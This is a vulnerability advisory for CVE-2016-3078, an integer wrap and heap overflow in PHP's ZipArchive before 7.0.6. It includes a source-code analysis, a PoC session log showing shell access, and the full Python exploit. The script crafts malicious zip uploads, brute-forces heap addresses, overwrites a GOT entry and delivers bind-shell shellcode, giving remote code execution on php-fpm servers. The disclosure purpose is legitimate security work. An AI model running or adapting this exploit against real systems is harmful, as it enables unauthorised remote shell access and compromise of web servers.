Details
=======

An integer wrap may occur in PHP 7.x before version 7.0.6 when reading
zip files with the getFromIndex() and getFromName() methods of
ZipArchive, resulting in a heap overflow.

php-7.0.5/ext/zip/php_zip.c
,----
| 2679 static void php_zip_get_from(INTERNAL_FUNCTION_PARAMETERS, int type) /* {{{ */
| 2680 {
| ....
| 2684     struct zip_stat sb;
| ....
| 2689     zend_long len = 0;
| ....
| 2692     zend_string *buffer;
| ....
| 2702     if (type == 1) {
| 2703         if (zend_parse_parameters(ZEND_NUM_ARGS(), "P|ll", &filename, &len, &flags) == FAILURE) {
| 2704             return;
| 2705         }
| 2706         PHP_ZIP_STAT_PATH(intern, ZSTR_VAL(filename), ZSTR_LEN(filename), flags, sb);  // (1)
| 2707     } else {
| 2708         if (zend_parse_parameters(ZEND_NUM_ARGS(), "l|ll", &index, &len, &flags) == FAILURE) {
| 2709             return;
| 2710         }
| 2711         PHP_ZIP_STAT_INDEX(intern, index, 0, sb);                                      // (1)
| 2712     }
| ....
| 2718     if (len < 1) {
| 2719         len = sb.size;
| 2720     }
| ....
| 2731     buffer = zend_string_alloc(len, 0);                                                // (2)
| 2732     n = zip_fread(zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer));                             // (3)
| ....
| 2742 }
`----

With `sb.size' from (1) being:

php-7.0.5/ext/zip/lib/zip_stat_index.c
,----
| 038 ZIP_EXTERN int
| 039 zip_stat_index(zip_t *za, zip_uint64_t index, zip_flags_t flags,
| 040                zip_stat_t *st)
| 041 {
| ...
| 043     zip_dirent_t *de;
| 044
| 045     if ((de=_zip_get_dirent(za, index, flags, NULL)) == NULL)
| 046         return -1;
| ...
| 063         st->size = de->uncomp_size;
| ...
| 086 }
`----

Both `size' and `uncomp_size' are unsigned 64bit integers:

php-7.0.5/ext/zip/lib/zipint.h
,----
| 339 struct zip_dirent {
| ...
| 351     zip_uint64_t uncomp_size;        /* (cl) size of uncompressed data */
| ...
| 332 };
`----

php-7.0.5/ext/zip/lib/zip.h
,----
| 279 struct zip_stat {
| ...
| 283     zip_uint64_t size;            /* size of file (uncompressed) */
| ...
| 290 };
`----

Whereas `len' is signed and has a platform-dependent size:

php-7.0.5/Zend/zend_long.h
,----
| 028 #if defined(__x86_64__) || defined(__LP64__) || defined(_LP64) || defined(_WIN64)
| 029 # define ZEND_ENABLE_ZVAL_LONG64 1
| 030 #endif
| ...
| 033 #ifdef ZEND_ENABLE_ZVAL_LONG64
| 034 typedef int64_t zend_long;
| ...
| 043 #else
| 044 typedef int32_t zend_long;
| ...
| 053 #endif
`----

Uncompressed file sizes in zip-archives may be specified as either 32-
or 64bit values; with the latter requiring that the size be specified in
the extra field in zip64 mode.

Anyway, as for the invocation of `zend_string_alloc()' in (2):

php-7.0.5/Zend/zend_string.h
,----
| 119 static zend_always_inline zend_string *zend_string_alloc(size_t len, int persistent)
| 120 {
| 121     zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent); // (4)
| ...
| 133     ZSTR_LEN(ret) = len;                                                                                  // (5)
| 134     return ret;
| 135 }
`----

The `size' argument to the `pemalloc' macro is aligned/adjusted in (4)
whilst the *original* value of `len' is stored as the size of the
allocated buffer in (5).  No boundary checking is done in (4) and it may
thus wrap, which would lead to a heap overflow during the invocation of
`zip_fread()' in (3) as the `toread' argument is `ZSTR_LEN(buffer)':

php-7.0.5/Zend/zend_string.h
,----
| 041 #define ZSTR_LEN(zstr)  (zstr)->len
`----

On a 32bit system:

,----
| (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0xfffffffe))
| $1 = 0x10
`----

The wraparound may also occur on 64bit systems with `uncomp_size'
specified in the extra field (Zip64 mode; ext/zip/lib/zip_dirent.c:463).
However, it won't result in a buffer overflow because of `zip_fread()'
bailing on a size that would have wrapped the allocation in (4):

php-7.0.5/ext/zip/lib/zip_fread.c
,----
| 038 ZIP_EXTERN zip_int64_t
| 039 zip_fread(zip_file_t *zf, void *outbuf, zip_uint64_t toread)
| 040 {
| ...
| 049     if (toread > ZIP_INT64_MAX) {
| 050         zip_error_set(&zf->error, ZIP_ER_INVAL, 0);
| 051         return -1;
| 052     }
| ...
| 063 }
`----

php-7.0.5/ext/zip/lib/zipconf.h
,----
| 130 #define ZIP_INT64_MAX     0x7fffffffffffffffLL
`----

,----
| (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0x7fffffffffffffff))
| $1 = 0x8000000000000018
`----


PoC
===

Against Arch Linux i686 with php-fpm 7.0.5 behind nginx [1]:

,----
| $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
| [*] this may take a while
| [*] 103 of 4096 (0x67fd0)...
| [+] connected to 1.2.3.4:5555
| 
| id
| uid=33(http) gid=33(http) groups=33(http)
| 
| uname -a
| Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST
| 2016 i686 GNU/Linux
| 
| pacman -Qs php-fpm
| local/php-fpm 7.0.5-2
|     FastCGI Process Manager for PHP
| 
| cat upload.php
| <?php
| $zip = new ZipArchive();
| if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
|     echo "cannot open archive\n";
| } else {
|     for ($i = 0; $i < $zip->numFiles; $i++) {
|         $data = $zip->getFromIndex($i);
|     }
|     $zip->close();
| }
| ?>
`----


Solution
========

This issue has been fixed in php 7.0.6.



Footnotes
_________

[1] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3078]


-- 
Hans Jerry Illikainen


exploit.py:

#!/usr/bin/env python2
#
# PoC for CVE-2016-3078 targeting Arch Linux i686 running php-fpm 7.0.5
# behind nginx.
#
# ,----
# | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
# | [*] this may take a while
# | [*] 103 of 4096 (0x67fd0)...
# | [+] connected to 1.2.3.4:5555
# |
# | id
# | uid=33(http) gid=33(http) groups=33(http)
# |
# | uname -a
# | Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST
# | 2016 i686 GNU/Linux
# |
# | pacman -Qs php-fpm
# | local/php-fpm 7.0.5-2
# |     FastCGI Process Manager for PHP
# |
# | cat upload.php
# | <?php
# | $zip = new ZipArchive();
# | if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
# |     echo "cannot open archive\n";
# | } else {
# |     for ($i = 0; $i < $zip->numFiles; $i++) {
# |         $data = $zip->getFromIndex($i);
# |     }
# |     $zip->close();
# | }
# | ?>
# `----
#
# - Hans Jerry Illikainen
#
import os
import sys
import argparse
import socket
import urlparse
import collections
from struct import pack
from binascii import crc32

import requests

# bindshell from PEDA
shellcode = [
    "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
    "\x43\x52\x66\x68%(port)s\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
    "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
    "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
    "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
    "\x89\xe1\xcd\x80"
]

# 100k runs had the zend_mm_heap mapped at 0xb6a00040 ~53.333% and at
# 0xb6c00040 ~46.667% of the time.
zend_mm_heap = [0xb6a00040, 0xb6c00040]

# offset to the payload from the zend heap
zend_mm_heap_offset = "0x%xfd0"

# Zend/zend_alloc_sizes.h
zend_mm_max_small_size = 3072

# exit()
R_386_JUMP_SLOT = 0x08960a48

ZipEntry = collections.namedtuple("ZipEntry", "name, data, size")


def zip_file_header(fname, data, size):
    return "".join([
        pack("<I", 0x04034b50),               # signature
        pack("<H", 0x0),                      # minimum version
        pack("<H", 0x0),                      # general purpose bit flag
        pack("<H", 0x0),                      # compression method
        pack("<H", 0),                        # last modification time
        pack("<H", 0),                        # last modification date
        pack("<I", crc32(data) & 0xffffffff), # crc-32
        pack("<I", len(data)),                # compressed size
        pack("<I", size),                     # uncompressed size
        pack("<H", len(fname)),               # filename length
        pack("<H", 0x0),                      # extra field length
        fname,                                # filename
        "",                                   # extra
        data                                  # compressed data
    ])


def zip_central_dir(offset, fname, data, size):
    return "".join([
        pack("<I", 0x02014b50),               # signature
        pack("<H", 0x0),                      # archive created with version
        pack("<H", 0x0),                      # archive requires version
        pack("<H", 0x0),                      # general purpose bit flag
        pack("<H", 0x0),                      # compression method
        pack("<H", 0),                        # last modification time
        pack("<H", 0),                        # last modification date
        pack("<I", crc32(data) & 0xffffffff), # crc-32
        pack("<I", len(data)),                # compressed size
        pack("<I", size),                     # uncompressed size
        pack("<H", len(fname)),               # filename length
        pack("<H", 0x0),                      # extra field length
        pack("<H", 0x0),                      # comment length
        pack("<H", 0x0),                      # disk number
        pack("<H", 0x0),                      # internal file attributes
        pack("<I", 0x0),                      # external file attributes
        pack("<I", offset),                   # offset of file header
        fname,                                # filename
        "",                                   # extra
        "",                                   # comment
    ])


def zip_central_dir_end(num, size, offset):
    return "".join([
        pack("<I", 0x06054b50), # signature
        pack("<H", 0x0),        # disk number
        pack("<H", 0x0),        # disk where central directory starts
        pack("<H", num),        # number of central directories on this disk
        pack("<H", num),        # total number of central directory records
        pack("<I", size),       # size of central directory
        pack("<I", offset),     # offset of central directory
        pack("<H", 0x0),        # comment length
        ""                      # comment
    ])


def zip_entries(addr, shellcode):
    if len(shellcode) > zend_mm_max_small_size:
        sys.exit("[-] shellcode is too big")

    size = 0xfffffffe
    length = 256
    entries = [ZipEntry("shellcode", shellcode, zend_mm_max_small_size)]
    for i in range(16):
        data = "A" * length
        if i == 0:
            data = pack("<I", (R_386_JUMP_SLOT - 0x10)) * (length / 4)
        elif i == 3:
            data = pack("<I", addr) + data[4:]
        entries.append(ZipEntry("overflow", data, size))
    return entries


def zip_create(entries):
    archive = []
    directories = []
    offset = 0
    for e in entries:
        file_header = zip_file_header(e.name, e.data, e.size)
        directories.append((e, offset))
        offset += len(file_header)
        archive.append(file_header)

    directories_length = 0
    for e, dir_offset in directories:
        central_dir = zip_central_dir(dir_offset, e.name, e.data, e.size)
        directories_length += len(central_dir)
        archive.append(central_dir)

    end = zip_central_dir_end(len(entries), directories_length, offset)
    archive.append(end)
    return "".join(archive)


def zip_send(url, archive):
    files = {"file": archive}
    try:
        req = requests.post(url, files=files, timeout=5)
    except requests.exceptions.ConnectionError:
        sys.exit("[-] failed to send archive")
    except requests.exceptions.Timeout:
        return

    return req.status_code


def connect(host, port):
    addr = socket.gethostbyname(host)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((addr, port))
    except socket.error:
        return

    print("\n[+] connected to %s:%d" % (host, port))
    if os.fork() == 0:
        while True:
            try:
                data = sock.recv(8192)
            except KeyboardInterrupt:
                sys.exit("\n[!] receiver aborting")
            if data == "":
                sys.exit("[!] receiver aborting")
            sys.stdout.write(data)
    else:
        while True:
            try:
                cmd = sys.stdin.readline()
            except KeyboardInterrupt:
                sys.exit("[!] sender aborting")
            sock.send(cmd)


def get_shellcode(port):
    p = pack(">H", port)
    if "\x00" in p:
        sys.exit("[-] encode your NUL-bytes")
    return "".join(shellcode) % {"port": p}


def get_args():
    p = argparse.ArgumentParser()
    p.add_argument("--tries", type=int, default=4096)
    p.add_argument("--bind-port", type=int, default=8000)
    p.add_argument("url", help="POST url")
    return p.parse_args()


def main():
    args = get_args()
    shellcode = get_shellcode(args.bind_port)
    host = urlparse.urlparse(args.url).netloc.split(":")[0]

    print("[*] this may take a while")
    for i in range(args.tries):
        offset = int(zend_mm_heap_offset % i, 16)
        sys.stdout.write("\r[*] %d of %d (0x%x)..." % (i, args.tries, offset))
        sys.stdout.flush()
        for heap in zend_mm_heap:
            archive = zip_create(zip_entries(heap + offset, shellcode))
            if zip_send(args.url, archive) == 404:
                sys.exit("\n[-] 404: %s" % args.url)
            connect(host, args.bind_port)
    print("\n[-] nope...")

if __name__ == "__main__":
    main()